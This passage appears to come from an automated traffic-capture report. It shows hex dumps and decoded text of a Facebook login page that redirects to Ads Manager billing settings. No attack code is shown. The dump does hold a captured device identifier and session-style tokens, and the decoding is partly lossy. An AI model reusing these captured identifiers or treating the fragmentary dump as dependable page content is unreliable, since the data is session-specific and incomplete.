oader":true,"loadEventSupported":true},619],["CookieCoreConfig",[],{"c_user":{"s":"None"},"cppo":{"t":86400,"s":"None"},"dpr":{"t":604800,"s":"None"},"fbl_ci":{"t":31536000,"s":"None"},"fbl_cs":{"t":31536000,"s":"None"},"fbl_st":{"t":31536000,"s":"Strict"
2023-05-28 08:43:21 UTC	1180	IN	Data Raw: 70 75 73 68 5f 70 68 61 73 65 22 3a 22 43 33 22 2c 22 70 6b 67 5f 63 6f 68 6f 72 74 22 3a 22 42 50 3a 44 45 46 41 55 4c 54 22 2c 22 68 61 73 74 65 5f 73 65 73 73 69 6f 6e 22 3a 22 31 39 35 30 35 2e 42 50 3a 44 45 46 41 55 4c 54 2e 32 2e 30 2e 2e 30 2e 30 22 2c 22 70 72 22 3a 31 2c 22 68 61 73 74 65 5f 73 69 74 65 22 3a 22 77 77 77 22 2c 22 6d 61 6e 69 66 65 73 74 5f 62 61 73 65 5f 75 72 69 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 22 2c 22 6d 61 6e 69 66 65 73 74 5f 6f 72 69 67 69 6e 22 3a 6e 75 6c 6c 2c 22 6d 61 6e 69 66 65 73 74 5f 76 65 72 73 69 6f 6e 5f 70 72 65 66 69 78 22 3a 6e 75 6c 6c 2c 22 62 65 5f 6f 6e 65 5f 61 68 65 61 64 22 3a 66 61 6c 73 65 2c 22 69 73 5f 72 74 6c 22 3a 66 61 6c 73 65 2c Data Ascii: push_phase":"C3","pkg_cohort":"BP:DEFAULT","haste_session":"19505.BP:DEFAULT.2.0..0.0","pr":1,"haste_site":"www","manifest_base_uri":"https:\/\/static.xx.fbcdn.net","manifest_origin":null,"manifest_version_prefix":null,"be_one_ahead":false,"is_rtl":false,
2023-05-28 08:43:21 UTC	1181	IN	Data Raw: 53 49 4e 45 53 53 5f 47 52 41 50 48 5f 53 45 54 54 49 4e 47 5f 45 53 47 5f 41 53 53 49 47 4e 45 44 5f 55 53 45 52 53 5f 4e 45 57 5f 41 50 49 22 2c 22 42 55 53 49 4e 45 53 53 5f 47 52 41 50 48 5f 53 45 54 54 49 4e 47 5f 50 52 4f 44 55 43 54 5f 43 41 54 41 4c 4f 47 5f 41 53 53 49 47 4e 45 44 5f 55 53 45 52 53 5f 4e 45 57 5f 41 50 49 22 2c 22 42 55 53 49 4e 45 53 53 5f 47 52 41 50 48 5f 53 45 54 54 49 4e 47 5f 53 45 53 47 5f 41 53 53 49 47 4e 45 44 5f 55 53 45 52 53 5f 4e 45 57 5f 41 50 49 22 2c 22 42 55 53 49 4e 45 53 53 5f 47 52 41 50 48 5f 53 45 54 54 49 4e 47 5f 57 41 42 41 5f 41 53 53 49 47 4e 45 44 5f 55 53 45 52 53 5f 4e 45 57 5f 41 50 49 22 2c 22 41 44 53 5f 50 4c 41 43 45 4d 45 4e 54 5f 46 49 58 5f 50 55 42 4c 49 53 48 45 52 5f 50 4c 41 54 46 4f 52 Data Ascii: SINESS_GRAPH_SETTING_ESG_ASSIGNED_USERS_NEW_API","BUSINESS_GRAPH_SETTING_PRODUCT_CATALOG_ASSIGNED_USERS_NEW_API","BUSINESS_GRAPH_SETTING_SESG_ASSIGNED_USERS_NEW_API","BUSINESS_GRAPH_SETTING_WABA_ASSIGNED_USERS_NEW_API","ADS_PLACEMENT_FIX_PUBLISHER_PLATFOR
2023-05-28 08:43:21 UTC	1183	IN	Data Raw: 6c 6c 2c 22 62 75 73 69 6e 65 73 73 5f 70 65 72 73 6f 6e 61 5f 69 64 22 3a 6e 75 6c 6c 2c 22 62 75 73 69 6e 65 73 73 5f 72 6f 6c 65 22 3a 6e 75 6c 6c 2c 22 62 75 73 69 6e 65 73 73 5f 75 73 65 72 5f 69 64 22 3a 6e 75 6c 6c 2c 22 62 75 73 69 6e 65 73 73 41 63 63 6f 75 6e 74 4e 61 6d 65 22 3a 6e 75 6c 6c 2c 22 65 6d 61 69 6c 22 3a 6e 75 6c 6c 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 6e 75 6c 6c 2c 22 69 70 5f 70 65 72 6d 69 73 73 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 69 73 42 75 73 69 6e 65 73 73 50 65 72 73 6f 6e 22 3a 66 61 6c 73 65 2c 22 69 73 46 61 63 65 62 6f 6f 6b 57 6f 72 6b 41 63 63 6f 75 6e 74 22 3a 66 61 6c 73 65 2c 22 69 73 49 6e 73 74 61 67 72 61 6d 42 75 73 69 6e 65 73 73 50 65 72 73 6f 6e 22 3a 66 61 6c 73 65 2c 22 69 73 45 6e 74 65 72 70 72 69 73 Data Ascii: ll,"business_persona_id":null,"business_role":null,"business_user_id":null,"businessAccountName":null,"email":null,"first_name":null,"ip_permission":null,"isBusinessPerson":false,"isFacebookWorkAccount":false,"isInstagramBusinessPerson":false,"isEnterpris
2023-05-28 08:43:21 UTC	1184	IN	Data Raw: 67 34 6b 65 6e 2e 63 6f 6d 22 2c 22 74 65 63 68 6e 6f 70 61 72 6b 2e 72 75 22 2c 22 6f 66 66 69 63 65 64 65 70 6f 74 2e 63 6f 6d 2e 6d 78 22 2c 22 62 65 73 74 62 75 79 2e 63 6f 6d 2e 6d 78 22 2c 22 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 22 2c 22 6e 69 62 69 6f 2e 6e 6f 22 5d 7d 2c 33 38 37 31 5d 2c 5b 22 49 6e 69 74 69 61 6c 43 6f 6f 6b 69 65 43 6f 6e 73 65 6e 74 22 2c 5b 5d 2c 7b 22 64 65 66 65 72 43 6f 6f 6b 69 65 73 22 3a 66 61 6c 73 65 2c 22 69 6e 69 74 69 61 6c 43 6f 6e 73 65 6e 74 22 3a 5b 5d 2c 22 6e 6f 43 6f 6f 6b 69 65 73 22 3a 66 61 6c 73 65 2c 22 73 68 6f 75 6c 64 53 68 6f 77 43 6f 6f 6b 69 65 42 61 6e 6e 65 72 22 3a 66 61 6c 73 65 7d 2c 34 33 32 38 5d 2c 5b 22 57 65 62 43 6f 6e 6e 65 63 74 69 6f 6e 43 6c 61 73 73 53 65 72 76 65 72 47 75 65 73 73 22 Data Ascii: g4ken.com","technopark.ru","officedepot.com.mx","bestbuy.com.mx","booking.com","nibio.no"]},3871],["InitialCookieConsent",[],{"deferCookies":false,"initialConsent":[],"noCookies":false,"shouldShowCookieBanner":false},4328],["WebConnectionClassServerGuess"
2023-05-28 08:43:21 UTC	1185	IN	Data Raw: 22 7d 7d 2c 31 34 39 36 5d 2c 5b 22 49 6e 74 6c 56 69 65 77 65 72 43 6f 6e 74 65 78 74 22 2c 5b 5d 2c 7b 22 47 45 4e 44 45 52 22 3a 33 2c 22 72 65 67 69 6f 6e 61 6c 4c 6f 63 61 6c 65 22 3a 6e 75 6c 6c 7d 2c 37 37 32 5d 2c 5b 22 4e 75 6d 62 65 72 46 6f 72 6d 61 74 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 64 65 63 69 6d 61 6c 53 65 70 61 72 61 74 6f 72 22 3a 22 2e 22 2c 22 6e 75 6d 62 65 72 44 65 6c 69 6d 69 74 65 72 22 3a 22 2c 22 2c 22 6d 69 6e 44 69 67 69 74 73 46 6f 72 54 68 6f 75 73 61 6e 64 73 53 65 70 61 72 61 74 6f 72 22 3a 34 2c 22 73 74 61 6e 64 61 72 64 44 65 63 69 6d 61 6c 50 61 74 74 65 72 6e 49 6e 66 6f 22 3a 7b 22 70 72 69 6d 61 72 79 47 72 6f 75 70 53 69 7a 65 22 3a 33 2c 22 73 65 63 6f 6e 64 61 72 79 47 72 6f 75 70 53 69 7a 65 22 3a 33 7d 2c Data Ascii: "}},1496],["IntlViewerContext",[],{"GENDER":3,"regionalLocale":null},772],["NumberFormatConfig",[],{"decimalSeparator":".","numberDelimiter":",","minDigitsForThousandsSeparator":4,"standardDecimalPatternInfo":{"primaryGroupSize":3,"secondaryGroupSize":3},
2023-05-28 08:43:21 UTC	1187	IN	Data Raw: 3a 31 2c 22 5c 2f 73 65 6d 5f 63 61 6d 70 61 69 67 6e 73 5c 2f 73 65 6d 5f 70 69 78 65 6c 5f 74 65 73 74 5c 2f 22 3a 31 2c 22 5c 2f 62 6f 6f 6b 6d 61 72 6b 73 5c 2f 66 6c 79 6f 75 74 5c 2f 62 6f 64 79 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 73 75 62 6e 6f 5c 2f 22 3a 31 2c 22 5c 2f 63 6f 6e 66 69 72 6d 65 6d 61 69 6c 2e 70 68 70 22 3a 31 2c 22 5c 2f 70 6f 6c 69 63 69 65 73 5c 2f 22 3a 31 2c 22 5c 2f 6d 6f 62 69 6c 65 5c 2f 69 6e 74 65 72 6e 65 74 64 6f 74 6f 72 67 5c 2f 63 6c 61 73 73 69 66 69 65 72 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 64 6f 67 66 6f 6f 64 69 6e 67 22 3a 31 2c 22 5c 2f 78 74 69 2e 70 68 70 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 66 62 6c 69 74 65 5c 2f 63 6f 6e 66 69 67 5c 2f 22 3a 31 2c 22 5c 2f 68 72 5c 2f 7a 73 68 5c 2f 77 Data Ascii: :1,"\/sem_campaigns\/sem_pixel_test\/":1,"\/bookmarks\/flyout\/body\/":1,"\/zero\/subno\/":1,"\/confirmemail.php":1,"\/policies\/":1,"\/mobile\/internetdotorg\/classifier\/":1,"\/zero\/dogfooding":1,"\/xti.php":1,"\/zero\/fblite\/config\/":1,"\/hr\/zsh\/w
2023-05-28 08:43:21 UTC	1188	IN	Data Raw: 77 61 70 5c 2f 63 2e 70 68 70 22 3a 31 2c 22 5c 2f 77 61 70 5c 2f 63 6f 6e 66 69 72 6d 65 6d 61 69 6c 2e 70 68 70 22 3a 31 2c 22 5c 2f 77 61 70 5c 2f 63 72 2e 70 68 70 22 3a 31 2c 22 5c 2f 77 61 70 5c 2f 6c 6f 67 69 6e 2e 70 68 70 22 3a 31 2c 22 5c 2f 77 61 70 5c 2f 72 2e 70 68 70 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 64 61 74 61 70 6f 6c 69 63 79 22 3a 31 2c 22 5c 2f 61 5c 2f 74 69 6d 65 7a 6f 6e 65 2e 70 68 70 22 3a 31 2c 22 5c 2f 61 5c 2f 62 7a 22 3a 31 2c 22 5c 2f 62 7a 5c 2f 72 65 6c 69 61 62 69 6c 69 74 79 22 3a 31 2c 22 5c 2f 72 2e 70 68 70 22 3a 31 2c 22 5c 2f 6d 72 5c 2f 22 3a 31 2c 22 5c 2f 72 65 67 5c 2f 22 3a 31 2c 22 5c 2f 72 65 67 69 73 74 72 61 74 69 6f 6e 5c 2f 6c 6f 67 5c 2f 22 3a 31 2c 22 5c 2f 74 65 72 6d 73 5c 2f 22 3a 31 2c 22 5c 2f Data Ascii: wap\/c.php":1,"\/wap\/confirmemail.php":1,"\/wap\/cr.php":1,"\/wap\/login.php":1,"\/wap\/r.php":1,"\/zero\/datapolicy":1,"\/a\/timezone.php":1,"\/a\/bz":1,"\/bz\/reliability":1,"\/r.php":1,"\/mr\/":1,"\/reg\/":1,"\/registration\/log\/":1,"\/terms\/":1,"\/
2023-05-28 08:43:21 UTC	1189	IN	Data Raw: 36 37 30 66 0d 0a 69 63 73 43 6f 72 65 44 61 74 61 22 2c 5b 5d 2c 7b 22 64 65 76 69 63 65 5f 69 64 22 3a 22 24 5e 7c 41 63 5a 68 76 32 6a 38 33 54 6f 42 4b 76 2d 72 6b 50 50 37 63 7a 73 46 30 33 79 35 74 67 46 6a 32 62 42 44 34 63 75 6c 79 79 4e 44 75 6c 74 47 52 44 46 44 30 63 79 57 78 45 5a 33 71 39 43 44 4f 6e 4c 45 35 75 47 6e 59 39 2d 52 5f 54 73 4d 75 50 61 4a 41 63 41 7c 66 64 2e 41 63 61 50 63 6e 79 35 50 30 74 59 55 2d 45 41 6f 74 65 53 78 69 34 75 57 56 69 61 2d 36 32 57 2d 6c 6e 7a 50 78 79 32 4e 53 45 66 75 7a 47 62 50 65 63 36 4c 6f 58 6d 57 47 50 64 68 6c 32 6f 57 68 68 77 50 4e 52 43 2d 68 71 38 5a 31 76 74 51 61 6c 62 6e 55 62 55 22 2c 22 61 70 70 5f 69 64 22 3a 22 32 35 36 32 38 31 30 34 30 35 35 38 22 2c 22 65 6e 61 62 6c 65 5f 62 6c 61 Data Ascii: 670ficsCoreData",[],{"device_id":"$^\|AcZhv2j83ToBKv-rkPP7czsF03y5tgFj2bBD4culyyNDultGRDFD0cyWxEZ3q9CDOnLE5uGnY9-R_TsMuPaJAcA\|fd.AcaPcny5P0tYU-EAoteSxi4uWVia-62W-lnzPxy2NSEfuzGbPec6LoXmWGPdhl2oWhhwPNRC-hq8Z1vtQalbnUbU","app_id":"256281040558","enable_bla
2023-05-28 08:43:21 UTC	1191	IN	Data Raw: 22 73 65 74 49 6e 74 65 72 76 61 6c 41 63 72 6f 73 73 54 72 61 6e 73 69 74 69 6f 6e 73 42 6c 75 65 22 2c 22 41 61 32 32 70 68 65 63 6f 70 51 75 62 45 77 79 57 57 35 39 66 52 39 5f 38 65 35 43 4a 4a 57 5f 66 4a 53 4f 77 77 76 39 61 4a 45 32 2d 45 36 66 35 51 32 71 76 55 4f 34 63 68 62 43 41 6d 6a 41 37 54 61 35 76 5a 2d 57 43 6e 75 75 45 6b 47 59 64 4f 71 52 56 34 50 58 41 47 30 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 39 38 36 36 33 33 22 2c 5b 22 73 65 74 54 69 6d 65 6f 75 74 41 63 72 6f 73 73 54 72 61 6e 73 69 74 69 6f 6e 73 42 6c 75 65 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 73 65 74 54 69 6d 65 6f 75 74 41 63 72 6f 73 73 54 72 61 6e 73 69 74 69 6f 6e 73 42 6c 75 65 22 2c 22 41 61 32 32 70 68 65 63 6f 70 51 75 62 45 77 79 57 57 35 39 66 52 39 5f 38 65 35 Data Ascii: "setIntervalAcrossTransitionsBlue","Aa22phecopQubEwyWW59fR9_8e5CJJW_fJSOwwv9aJE2-E6f5Q2qvUO4chbCAmjA7Ta5vZ-WCnuuEkGYdOqRV4PXAG0"]},-1],["cr:986633",["setTimeoutAcrossTransitionsBlue"],{"__rc":["setTimeoutAcrossTransitionsBlue","Aa22phecopQubEwyWW59fR9_8e5
2023-05-28 08:43:21 UTC	1192	IN	Data Raw: 69 6e 74 65 72 61 63 74 69 6f 6e 5f 72 65 67 65 78 65 73 22 3a 7b 7d 2c 22 69 6e 74 65 72 61 63 74 69 6f 6e 5f 62 6f 6f 73 74 22 3a 7b 7d 2c 22 65 76 65 6e 74 5f 74 79 70 65 73 22 3a 7b 7d 2c 22 6d 61 6e 75 61 6c 5f 69 6e 73 74 72 75 6d 65 6e 74 61 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 70 72 6f 66 69 6c 65 5f 65 61 67 65 72 5f 65 78 65 63 75 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 64 69 73 61 62 6c 65 5f 68 65 75 72 69 73 74 69 63 22 3a 74 72 75 65 2c 22 64 69 73 61 62 6c 65 5f 65 76 65 6e 74 5f 70 72 6f 66 69 6c 65 72 22 3a 66 61 6c 73 65 7d 2c 31 37 32 36 5d 2c 5b 22 41 64 73 49 6e 74 65 72 66 61 63 65 73 53 65 73 73 69 6f 6e 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 7d 2c 32 33 39 33 5d 5d 2c 22 72 65 71 75 69 72 65 22 3a 5b 5b 22 6d 61 72 6b 4a 53 45 6e 61 Data Ascii: interaction_regexes":{},"interaction_boost":{},"event_types":{},"manual_instrumentation":false,"profile_eager_execution":false,"disable_heuristic":true,"disable_event_profiler":false},1726],["AdsInterfacesSessionConfig",[],{},2393]],"require":[["markJSEna
2023-05-28 08:43:21 UTC	1194	IN	Data Raw: 3d 22 5f 39 37 77 31 20 5f 35 30 66 36 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 39 61 78 7a 22 3e 4c 6f 67 20 49 6e 74 6f 20 46 61 63 65 62 6f 6f 6b 3c 2f 64 69 76 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 67 69 6e 5f 66 6f 72 6d 5f 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 6f 72 6d 20 69 64 3d 22 6c 6f 67 69 6e 5f 66 6f 72 6d 22 20 61 63 74 69 6f 6e 3d 22 2f 6c 6f 67 69 6e 2f 64 65 76 69 63 65 2d 62 61 73 65 64 2f 72 65 67 75 6c 61 72 2f 6c 6f 67 69 6e 2f 3f 6c 6f 67 69 6e 5f 61 74 74 65 6d 70 74 3d 31 26 61 6d 70 3b 6e 65 78 74 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 64 73 6d 61 6e 61 67 65 72 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 25 32 46 61 64 73 25 32 46 6d 61 6e 61 67 65 72 25 32 46 61 63 63 6f 75 Data Ascii: ="_97w1 _50f6"><div class="_9axz">Log Into Facebook</div></span></div><div class="login_form_container"><form id="login_form" action="/login/device-based/regular/login/?login_attempt=1&next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccou
2023-05-28 08:43:21 UTC	1195	IN	Data Raw: 69 6e 70 75 74 74 65 78 74 20 5f 31 6b 62 74 20 69 6e 70 75 74 74 65 78 74 20 5f 31 6b 62 74 22 20 6e 61 6d 65 3d 22 65 6d 61 69 6c 22 20 69 64 3d 22 65 6d 61 69 6c 22 20 74 61 62 69 6e 64 65 78 3d 22 30 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 45 6d 61 69 6c 20 6f 72 20 70 68 6f 6e 65 20 6e 75 6d 62 65 72 22 20 76 61 6c 75 65 3d 22 22 20 61 75 74 6f 66 6f 63 75 73 3d 22 31 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 75 73 65 72 6e 61 6d 65 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 45 6d 61 69 6c 20 6f 72 20 70 68 6f 6e 65 20 6e 75 6d 62 65 72 22 20 2f 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 66 69 78 20 5f 35 34 36 36 20 5f 34 34 6d 67 22 3e 3c 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 35 35 72 31 20 5f 31 Data Ascii: inputtext _1kbt inputtext _1kbt" name="email" id="email" tabindex="0" placeholder="Email or phone number" value="" autofocus="1" autocomplete="username" aria-label="Email or phone number" /></div><div class="clearfix _5466 _44mg"><div><div class="_55r1 _1
2023-05-28 08:43:21 UTC	1197	IN	Data Raw: 65 6e 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 22 20 69 64 3d 22 66 69 72 73 74 5f 70 72 65 66 69 6c 6c 5f 73 6f 75 72 63 65 22 20 6e 61 6d 65 3d 22 66 69 72 73 74 5f 70 72 65 66 69 6c 6c 5f 73 6f 75 72 63 65 22 20 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 22 20 69 64 3d 22 66 69 72 73 74 5f 70 72 65 66 69 6c 6c 5f 74 79 70 65 22 20 6e 61 6d 65 3d 22 66 69 72 73 74 5f 70 72 65 66 69 6c 6c 5f 74 79 70 65 22 20 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 22 20 69 64 3d 22 68 61 64 5f 63 70 5f 70 72 65 66 69 6c 6c 65 64 22 20 6e 61 6d 65 3d 22 68 61 64 5f 63 70 5f 70 72 65 66 69 6c 6c 65 64 Data Ascii: en" autocomplete="off" id="first_prefill_source" name="first_prefill_source" /><input type="hidden" autocomplete="off" id="first_prefill_type" name="first_prefill_type" /><input type="hidden" autocomplete="off" id="had_cp_prefilled" name="had_cp_prefilled
2023-05-28 08:43:21 UTC	1198	IN	Data Raw: 20 26 71 75 6f 74 3b 65 6e 5f 55 53 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 66 72 2d 66 72 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 6f 67 69 6e 2e 70 68 70 3f 6e 65 78 74 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 61 64 73 6d 61 6e 61 67 65 72 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 75 30 30 32 35 32 46 61 64 73 5c 75 30 30 32 35 32 46 6d 61 6e 61 67 65 72 5c 75 30 30 32 35 32 46 61 63 63 6f 75 6e 74 5f 73 65 74 74 69 6e 67 73 5c 75 30 30 32 35 32 46 61 63 63 6f 75 6e 74 5f 62 69 6c 6c 69 6e 67 5c 75 30 30 32 35 32 46 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 77 77 77 5f 6c 69 73 74 5f 73 65 6c 65 63 74 6f 72 26 71 75 6f 74 3b 2c 20 31 29 3b 20 72 65 74 75 72 6e 20 66 Data Ascii: "en_US", "https:\/\/fr-fr.facebook.com\/login.php?next=https\u00253A\u00252F\u00252Fadsmanager.facebook.com\u00252Fads\u00252Fmanager\u00252Faccount_settings\u00252Faccount_billing\u00252F", "www_list_selector", 1); return f
2023-05-28 08:43:21 UTC	1200	IN	Data Raw: 74 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 64 73 6d 61 6e 61 67 65 72 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 25 32 46 61 64 73 25 32 46 6d 61 6e 61 67 65 72 25 32 46 61 63 63 6f 75 6e 74 5f 73 65 74 74 69 6e 67 73 25 32 46 61 63 63 6f 75 6e 74 5f 62 69 6c 6c 69 6e 67 25 32 46 22 20 6f 6e 63 6c 69 63 6b 3d 22 72 65 71 75 69 72 65 28 26 71 75 6f 74 3b 49 6e 74 6c 55 74 69 6c 73 26 71 75 6f 74 3b 29 2e 73 65 74 43 6f 6f 6b 69 65 4c 6f 63 61 6c 65 28 26 71 75 6f 74 3b 73 71 5f 41 4c 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 65 6e 5f 55 53 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 73 71 2d 61 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 6f 67 69 6e 2e 70 68 70 3f 6e 65 78 74 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 Data Ascii: t=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F" onclick="require("IntlUtils").setCookieLocale("sq_AL", "en_US", "https:\/\/sq-al.facebook.com\/login.php?next=https\u00253A
2023-05-28 08:43:21 UTC	1201	IN	Data Raw: 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 20 74 69 74 6c 65 3d 22 54 75 72 6b 69 73 68 22 3e 54 c3 bc 72 6b c3 a7 65 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 5f 73 76 34 22 20 64 69 72 3d 22 72 74 6c 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 72 2d 61 72 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 6c 6f 67 69 6e 2e 70 68 70 3f 6e 65 78 74 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 64 73 6d 61 6e 61 67 65 72 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 25 32 46 61 64 73 25 32 46 6d 61 6e 61 67 65 72 25 32 46 61 63 63 6f 75 6e 74 5f 73 65 74 74 69 6e 67 73 25 32 46 61 63 63 6f 75 6e 74 5f 62 69 6c 6c 69 6e 67 25 32 46 22 20 6f 6e 63 6c 69 63 6b 3d 22 72 65 71 75 69 72 65 28 26 71 75 6f 74 3b 49 6e 74 6c 55 74 69 6c 73 26 71 Data Ascii: return false;" title="Turkish">Trke</a></li><li><a class="_sv4" dir="rtl" href="https://ar-ar.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F" onclick="require("IntlUtils&q
2023-05-28 08:43:21 UTC	1203	IN	Data Raw: 65 72 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 75 30 30 32 35 32 46 61 64 73 5c 75 30 30 32 35 32 46 6d 61 6e 61 67 65 72 5c 75 30 30 32 35 32 46 61 63 63 6f 75 6e 74 5f 73 65 74 74 69 6e 67 73 5c 75 30 30 32 35 32 46 61 63 63 6f 75 6e 74 5f 62 69 6c 6c 69 6e 67 5c 75 30 30 32 35 32 46 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 77 77 77 5f 6c 69 73 74 5f 73 65 6c 65 63 74 6f 72 26 71 75 6f 74 3b 2c 20 39 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 20 74 69 74 6c 65 3d 22 53 69 6d 70 6c 69 66 69 65 64 20 43 68 69 6e 65 73 65 20 28 43 68 69 6e 61 29 22 3e e4 b8 ad e6 96 87 28 e7 ae 80 e4 bd 93 29 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 72 6f 6c 65 3d 22 62 75 74 74 6f 6e 22 20 63 6c 61 73 73 3d 22 5f 34 32 66 74 20 5f 34 6a 79 30 20 5f 35 31 Data Ascii: er.facebook.com\u00252Fads\u00252Fmanager\u00252Faccount_settings\u00252Faccount_billing\u00252F", "www_list_selector", 9); return false;" title="Simplified Chinese (China)">()</a></li><li><a role="button" class="_42ft _4jy0 _51
2023-05-28 08:43:21 UTC	1204	IN	Data Raw: 3d 22 5f 62 6c 61 6e 6b 22 3e 4d 65 74 61 20 50 61 79 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 65 74 61 2e 63 6f 6d 2f 22 20 74 69 74 6c 65 3d 22 43 68 65 63 6b 20 6f 75 74 20 4d 65 74 61 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 4d 65 74 61 20 53 74 6f 72 65 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 65 74 61 2e 63 6f 6d 2f 71 75 65 73 74 2f 22 20 74 69 74 6c 65 3d 22 4c 65 61 72 6e 20 6d 6f 72 65 20 61 62 6f 75 74 20 4d 65 74 61 20 51 75 65 73 74 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 4d 65 74 61 20 51 75 65 73 74 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f Data Ascii: ="_blank">Meta Pay</a></li><li><a href="https://www.meta.com/" title="Check out Meta" target="_blank">Meta Store</a></li><li><a href="https://www.meta.com/quest/" title="Learn more about Meta Quest" target="_blank">Meta Quest</a></li><li><a href="https://
2023-05-28 08:43:21 UTC	1205	IN	Data Raw: 3d 34 30 32 30 34 37 34 34 39 31 38 36 26 61 6d 70 3b 6e 61 76 5f 73 6f 75 72 63 65 3d 75 6e 6b 6e 6f 77 6e 26 61 6d 70 3b 65 78 74 72 61 5f 31 3d 61 75 74 6f 22 20 74 69 74 6c 65 3d 22 41 64 76 65 72 74 69 73 65 20 6f 6e 20 46 61 63 65 62 6f 6f 6b 2e 22 3e 43 72 65 61 74 65 20 41 64 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 70 61 67 65 73 2f 63 72 65 61 74 65 2f 3f 72 65 66 5f 74 79 70 65 3d 73 69 74 65 5f 66 6f 6f 74 65 72 22 20 74 69 74 6c 65 3d 22 43 72 65 61 74 65 20 61 20 70 61 67 65 22 3e 43 72 65 61 74 65 20 50 61 67 65 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 76 65 6c 6f 70 65 72 73 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 3f 72 65 66 3d 70 66 22 20 74 69 74 6c 65 Data Ascii: =402047449186&nav_source=unknown&extra_1=auto" title="Advertise on Facebook.">Create Ad</a></li><li><a href="/pages/create/?ref_type=site_footer" title="Create a page">Create Page</a></li><li><a href="https://developers.facebook.com/?ref=pf" title
